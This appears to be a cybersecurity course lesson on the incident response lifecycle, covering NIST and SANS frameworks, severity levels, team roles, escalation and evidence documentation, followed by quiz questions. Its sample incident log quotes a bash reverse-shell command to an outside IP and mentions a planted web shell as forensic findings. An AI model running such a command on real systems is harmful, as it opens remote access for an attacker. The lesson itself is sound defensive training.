What You'll Learn
- Describe the four phases of the NIST SP 800-61 incident response lifecycle and the activities performed in each
- Compare the NIST 4-phase model with the SANS 6-step IR process and explain when each framework is most useful
- Classify incidents by severity (P1–P4) using impact, urgency, and scope criteria
- Define the roles and responsibilities on an IR team: Incident Commander, Technical Lead, and Communications Lead
- Build an escalation matrix that maps severity levels to notification requirements and response timelines
- Explain the documentation requirements at each phase of the lifecycle — from initial detection through post-incident review
- Identify the triggers that require engagement of legal counsel, executive management, and external parties
- Connect IR lifecycle concepts to the hands-on tabletop exercise in Lab 13.1
Why Frameworks Matter in a Crisis
When a critical alert fires at 2 AM — ransomware encrypting file shares, an attacker exfiltrating customer data, or a compromised domain controller issuing rogue certificates — you do not have time to figure out what to do. You need a playbook. You need a lifecycle. You need a framework that your entire team has rehearsed so that every person knows their role, every decision has a clear escalation path, and every action is documented.
Incident response frameworks exist because ad-hoc response fails. Organizations that "figure it out as they go" during a real incident consistently produce worse outcomes: longer dwell times, incomplete containment, destroyed evidence, missed regulatory deadlines, and finger-pointing post-mortems that solve nothing.
| Ad-Hoc Response | Framework-Driven Response |
|---|---|
| Whoever notices the alert decides what to do | Predefined roles with clear ownership and authority |
| Evidence is accidentally destroyed during panic | Evidence preservation is step one, built into every playbook |
| Management finds out from news articles | Escalation matrix triggers notifications within defined SLAs |
| Post-incident review is "let's not do that again" | Structured lessons learned with measurable action items |
| Same mistakes recur every 6 months | Findings feed back into preparation phase, closing gaps |
Two frameworks dominate the industry: NIST SP 800-61 (published by the National Institute of Standards and Technology) and the SANS Incident Handler's Handbook. They are not competing standards — they describe the same core process with different levels of granularity. Understanding both lets you speak the language of any SOC you join.
The NIST SP 800-61 Lifecycle
NIST SP 800-61 Rev. 2, "Computer Security Incident Handling Guide," organizes incident response into four phases arranged in a cycle. The key word is cycle — this is not a linear process that ends after one pass. Lessons learned from one incident feed back into preparation for the next.
Phase 1: Preparation
Preparation is everything you do before an incident occurs. It is the phase most often neglected and most directly correlated with response quality.
People preparation:
- Establish the IR team with defined roles (covered in detail below)
- Conduct tabletop exercises quarterly (you will do one in Lab 13.1)
- Ensure on-call schedules cover 24/7 with clear escalation paths
- Train all team members on tools: Wazuh, Velociraptor, TheHive, MISP, forensic imaging
Process preparation:
- Write and maintain incident response playbooks for common scenarios (ransomware, phishing compromise, insider threat, DDoS, data exfiltration)
- Define severity classification criteria (P1–P4)
- Establish communication templates for internal stakeholders and external parties
- Document legal and regulatory notification requirements (GDPR 72-hour window, HIPAA, PCI-DSS, SEC 4-day rule)
Technology preparation:
- Deploy and tune detection tools (Modules 2–8 covered this)
- Maintain forensic workstations with imaging tools, memory capture utilities, and analysis software
- Ensure log retention meets investigation requirements (minimum 90 days hot, 1 year cold)
- Pre-configure jump bags: bootable USB drives, write blockers, chain-of-custody forms, network tap hardware
The best IR teams spend 80% of their time in the Preparation phase. Every hour invested in playbooks, training, and tool readiness saves ten hours during an actual incident. If your team only practices IR during real incidents, you are training under the worst possible conditions.
Phase 2: Detection & Analysis
This phase begins the moment a potential incident is identified. Detection comes from multiple sources — SIEM alerts, user reports, threat intelligence feeds, automated scans, or external notification (law enforcement, a vendor, a researcher).
Detection sources in a CyberBlueSOC environment:
| Source | Tool | Example |
|---|---|---|
| SIEM alert | Wazuh | Failed SSH brute-force followed by successful login |
| Network detection | Suricata/EveBox | C2 beacon pattern on port 443 |
| Endpoint detection | Velociraptor | Unsigned DLL loaded by svchost.exe |
| Threat intel match | MISP | Hash from threat feed matches file on endpoint |
| User report | Help desk | "My files are encrypted and there's a ransom note" |
| External notification | Email/phone | "We found your data on a dark web marketplace" |
Analysis is the hardest part. You must determine:
- Is this a real incident or a false positive? (Module 4 skills)
- What is the scope? How many systems are affected?
- What is the severity? (Use the classification matrix below)
- What is the attack vector? How did the attacker get in?
- What is the current stage? Are they still active? Have they achieved their objective?
Time is the attacker's ally. The average dwell time (time between initial compromise and detection) across industries is still measured in days to weeks. Every hour you spend in analysis without acting on containment is an hour the attacker uses to deepen their access. The framework does not require you to complete analysis before starting containment — these phases overlap deliberately.
Phase 3: Containment, Eradication, and Recovery
NIST groups these three activities into a single phase because they are tightly interrelated and often executed in parallel. Lesson 13.3 covers this phase in depth, but here is the framework-level overview:
- Containment: Stop the bleeding. Isolate compromised systems, block malicious IPs/domains, disable compromised accounts. Short-term containment preserves evidence; long-term containment allows continued operations while you eradicate.
- Eradication: Remove the attacker's presence. Delete malware, close backdoors, reset all compromised credentials, patch the vulnerability that allowed initial access.
- Recovery: Restore normal operations. Rebuild compromised systems from known-good images, restore data from verified backups, implement additional monitoring to detect re-infection.
Phase 4: Post-Incident Activity
The phase that transforms a painful incident into organizational improvement. Post-incident activity includes:
- Lessons learned meeting (within 5 business days of incident closure): What happened? What went well? What failed? What will we change?
- Incident report: Formal documentation including timeline, impact assessment, root cause analysis, and remediation actions
- Evidence retention: Preserve forensic images, logs, and artifacts according to legal hold requirements
- Metrics collection: Time to detect, time to contain, time to eradicate, total business impact
- Preparation updates: Feed findings back into Phase 1 — update playbooks, add detection rules, fix tool gaps, adjust training
The SANS 6-Step Process
The SANS Institute's Incident Handler's Handbook breaks the same lifecycle into six discrete steps rather than four phases. The core activities are identical — SANS simply separates steps that NIST groups together.
| SANS Step | NIST Equivalent | Key Activities |
|---|---|---|
| 1. Preparation | Phase 1: Preparation | IR plan, team training, tool readiness, exercises |
| 2. Identification | Phase 2: Detection & Analysis | Detect the event, determine if it is an incident, assess scope |
| 3. Containment | Phase 3 (part 1) | Short-term and long-term containment, evidence preservation |
| 4. Eradication | Phase 3 (part 2) | Remove attacker presence, patch vulnerabilities |
| 5. Recovery | Phase 3 (part 3) | Restore systems, validate clean state, monitor for return |
| 6. Lessons Learned | Phase 4: Post-Incident Activity | Post-mortem, report, metrics, preparation updates |
Which framework should you use? Both. NIST is the standard cited in compliance frameworks (FedRAMP, CMMC, FISMA) and preferred in government and regulated industries. SANS is widely taught in certifications (GCIH, GCFA) and used in private-sector SOCs. In practice, most organizations blend both — using NIST's four-phase structure as the official policy while operationalizing SANS's six-step granularity in playbooks. Know both; your interviewers will ask about both.
Incident Severity Classification
Not every incident deserves the same response. A phishing email that was caught by the mail filter is not the same as an active ransomware deployment. Severity classification determines who gets notified, how fast you respond, and how many resources you deploy.
| Severity | Name | Criteria | Response SLA | Escalation |
|---|---|---|---|---|
| P1 | Critical | Active data exfiltration, ransomware spreading, domain admin compromised, customer data exposed | 15 minutes | CISO, Legal, CEO, external IR firm |
| P2 | High | Confirmed compromise with lateral movement, single system with sensitive data, active C2 channel | 1 hour | IR Manager, CISO, affected business unit |
| P3 | Medium | Confirmed malware on non-critical system, phishing with credential harvesting (no confirmed use), suspicious insider activity | 4 hours | IR team lead, system owner |
| P4 | Low | Phishing caught by filter, policy violation (unauthorized software), failed brute-force with no success | Next business day | SOC analyst documents and monitors |
Severity can change. An incident that starts as P3 (malware on a developer laptop) can escalate to P1 if investigation reveals the attacker used that laptop to pivot to the CI/CD pipeline and inject code into a production deployment. Your IR plan must include clear criteria for re-classification and the escalation steps triggered by each change.
Never downgrade severity without documented justification. Downgrading from P2 to P3 because "it looks like it might be contained" without forensic evidence is how organizations get surprised by attackers who were never fully eradicated. Severity downgrades require sign-off from the Incident Commander and documented evidence that the original threat no longer applies.
IR Team Roles
A structured IR team prevents the "everyone runs around doing everything" chaos that destroys response effectiveness. Three core roles must be filled for any P1 or P2 incident:
Incident Commander (IC)
The IC owns the incident from declaration to closure. They do not perform technical analysis — they coordinate.
- Declares incident severity and triggers the appropriate escalation path
- Assigns tasks to technical responders and tracks completion
- Makes containment decisions when business impact must be weighed (e.g., "Do we shut down the e-commerce site during holiday season?")
- Serves as the single point of contact for executive management
- Ensures documentation is maintained throughout (assigns a scribe if needed)
- Authorizes severity changes, external notifications, and incident closure
Technical Lead
The Technical Lead directs the hands-on investigation and response.
- Coordinates forensic analysis across endpoints, network, and logs
- Makes technical containment recommendations to the IC (block this IP, isolate this subnet, disable this account)
- Ensures evidence integrity — chain of custody, forensic imaging before remediation
- Manages tool deployment: Velociraptor collections, Wazuh rule updates, network captures
- Synthesizes technical findings into a coherent attack narrative (timeline, IOCs, TTPs)
Communications Lead
The Communications Lead manages all stakeholder communication.
- Drafts internal status updates (frequency determined by severity: P1 = every 30 minutes, P2 = every 2 hours)
- Coordinates with Legal on regulatory notification requirements and timelines
- Prepares external communications (customer notification, press statements) with Legal and PR review
- Manages the incident communication channel (dedicated Slack channel, war room, bridge call)
- Ensures no unauthorized information disclosure (technical details shared only on need-to-know basis)
In small teams, one person may fill multiple roles. A three-person SOC might have the senior analyst as IC and Technical Lead, with the manager handling Communications. The roles still matter — even if one person wears two hats, the responsibilities are defined and nothing falls through the cracks. In Lab 13.1, you will practice assigning these roles during a tabletop exercise.
When to Engage Legal and Management
Knowing when to escalate beyond the technical team is a critical skill. Escalating too late creates legal liability; escalating too early for every P4 erodes credibility.
| Trigger | Who to Notify | Why |
|---|---|---|
| Personal data of customers or employees is confirmed exposed | Legal, Privacy Officer, DPO | Regulatory notification clock starts (GDPR: 72 hours, many US state laws: 30–60 days) |
| Attacker has domain admin or equivalent privileged access | CISO, CTO, external IR firm | Entire environment must be considered compromised |
| Ransomware is actively encrypting systems | CEO, Legal, CISO, Cyber insurance carrier | Business continuity decisions, potential ransom negotiation, law enforcement engagement |
| Evidence of insider threat (employee, contractor) | Legal, HR, management chain | Legal holds, employment law considerations, investigation must avoid tipping off the subject |
| Third-party systems are involved (vendor, partner) | Legal, vendor security contact | Contractual notification obligations, shared responsibility determination |
| Law enforcement contact is received | Legal (immediately) | Never respond to law enforcement without Legal guidance — even if cooperating fully |
Documentation Throughout the Lifecycle
Every action during an incident must be documented. Not after the incident. Not from memory. In real time. Documentation serves three purposes: it enables handoff between shifts, it supports legal proceedings, and it feeds the lessons learned process.
The Incident Log
The incident log is a chronological record of every significant action, decision, and finding:
2026-02-23 02:15 UTC | SOC Analyst (J. Kim) | Wazuh alert: multiple failed SSH logins
followed by successful auth on linux-web-01 from 198.51.100.47
2026-02-23 02:18 UTC | SOC Analyst (J. Kim) | Verified source IP is not in known
admin ranges. Checking MISP — IP linked to APT campaign targeting web servers.
2026-02-23 02:22 UTC | SOC Analyst (J. Kim) | Escalating to P2. Paging IR on-call.
2026-02-23 02:30 UTC | IC (M. Chen) | Incident declared. IC: M. Chen, Tech Lead:
J. Kim, Comms: S. Patel. War room opened in #ir-2026-0223.
2026-02-23 02:35 UTC | Tech Lead (J. Kim) | Velociraptor collection launched on
linux-web-01: process list, network connections, bash history, crontab.
2026-02-23 02:42 UTC | Tech Lead (J. Kim) | Findings: reverse shell process
(bash -i >& /dev/tcp/198.51.100.47/4444 0>&1) running as www-data. Web shell
found at /var/www/html/.hidden/cmd.php. Recommending immediate containment.
2026-02-23 02:45 UTC | IC (M. Chen) | Approved network isolation of linux-web-01.
Firewall rule applied by NOC.
Evidence Tracking
Every piece of evidence needs a tracking record:
| Evidence ID | Type | Source | Collected By | Date/Time | Hash (SHA-256) | Storage Location |
|---|---|---|---|---|---|---|
| EVD-001 | Disk image | linux-web-01 /dev/sda | J. Kim | 2026-02-23 03:15 UTC | a1b2c3d4... | Evidence locker, Case #IR-2026-0047 |
| EVD-002 | Memory dump | linux-web-01 (16GB) | J. Kim | 2026-02-23 03:05 UTC | e5f6g7h8... | Evidence locker, Case #IR-2026-0047 |
| EVD-003 | Wazuh logs | 02/22 00:00–02/23 04:00 UTC | Automated export | 2026-02-23 04:00 UTC | i9j0k1l2... | S3 evidence bucket |
Hash everything. Every forensic image, every log export, every malware sample must be hashed at the time of collection using SHA-256. This hash proves the evidence has not been modified since collection. If you cannot prove integrity, the evidence may be inadmissible in legal proceedings and useless for regulatory compliance.
Building Your IR Plan
An IR plan is not a 200-page document that sits on a shelf. It is a living, operational document that your team actually uses. The minimum viable IR plan contains:
- Scope and authority: Who has the authority to declare an incident? Who can authorize containment actions that affect production systems?
- Severity definitions: P1–P4 criteria specific to your organization
- Escalation matrix: Severity → role → notification method → SLA
- Communication plan: Internal templates, external notification requirements, media response policy
- Role assignments: Primary and backup for IC, Technical Lead, Communications Lead
- Playbooks: Step-by-step procedures for top 5 incident types (ransomware, phishing, insider threat, DDoS, data breach)
- Tool inventory: What tools are available, where they are, who has access, how to deploy them
- Evidence handling: Collection procedures, chain of custody forms, storage locations
- External contacts: Legal counsel, cyber insurance carrier, external IR firm, law enforcement, regulatory bodies
- Review schedule: Quarterly tabletop exercises, annual plan review, update after every P1/P2 incident
Key Takeaways
- The NIST SP 800-61 lifecycle has four phases forming a continuous cycle: Preparation → Detection & Analysis → Containment/Eradication/Recovery → Post-Incident Activity
- The SANS 6-step process separates Containment, Eradication, and Recovery into individual steps but covers the same activities as NIST
- Severity classification (P1–P4) determines response SLAs, escalation paths, and resource allocation — and can change as new information emerges
- Three core IR roles — Incident Commander, Technical Lead, Communications Lead — must be filled for P1/P2 incidents even on small teams
- Legal and management engagement is triggered by specific criteria: data exposure, privileged access compromise, ransomware, insider threats, and third-party involvement
- Documentation must be real-time and continuous — incident logs, evidence tracking with SHA-256 hashes, and decision records are non-negotiable
- The IR plan is a living document: 10 core sections, reviewed quarterly, updated after every significant incident
- Preparation is the most important phase — 80% of IR effectiveness is determined before the first alert fires
What's Next
You now have the framework — the lifecycle, the roles, the severity model, the documentation requirements. But frameworks on paper are not the same as frameworks in action. In Lesson 13.2: TheHive & Case Management, you will learn how to operationalize this lifecycle using TheHive — the open-source case management platform that gives your IR team a central hub for tracking cases, assigning tasks, collecting observables, and maintaining the audit trail that frameworks demand. Then in Lab 13.1, you will put the framework to the test in a tabletop exercise where you walk through a simulated P2 incident from detection through post-incident review.
Knowledge Check: IR Lifecycle & Frameworks
10 questions · 70% to pass
What are the four phases of the NIST SP 800-61 incident response lifecycle?
How does the SANS 6-step IR process differ structurally from the NIST 4-phase model?
An attacker has compromised a domain admin account and is actively moving laterally across the network. What severity level should this incident be classified as?
What is the primary responsibility of the Incident Commander during a P1 incident?
Under GDPR, what is the maximum time allowed to notify the supervisory authority after discovering a personal data breach?
In Lab 13.1, your team runs a tabletop exercise for a ransomware scenario. During the exercise, the simulated incident escalates from P3 to P1. What must happen before severity is changed?
Why does the NIST lifecycle arrange its four phases in a cycle rather than a linear sequence?
A forensic image is collected from a compromised Linux server. What must be done immediately after collection to ensure the evidence is admissible?
In the tabletop exercise (Lab 13.1), your team discovers that the attacker accessed a database containing customer PII. Which stakeholders must be notified beyond the IR team?
Which section of the IR plan defines who has the authority to shut down a production system during an active incident?
0/10 answered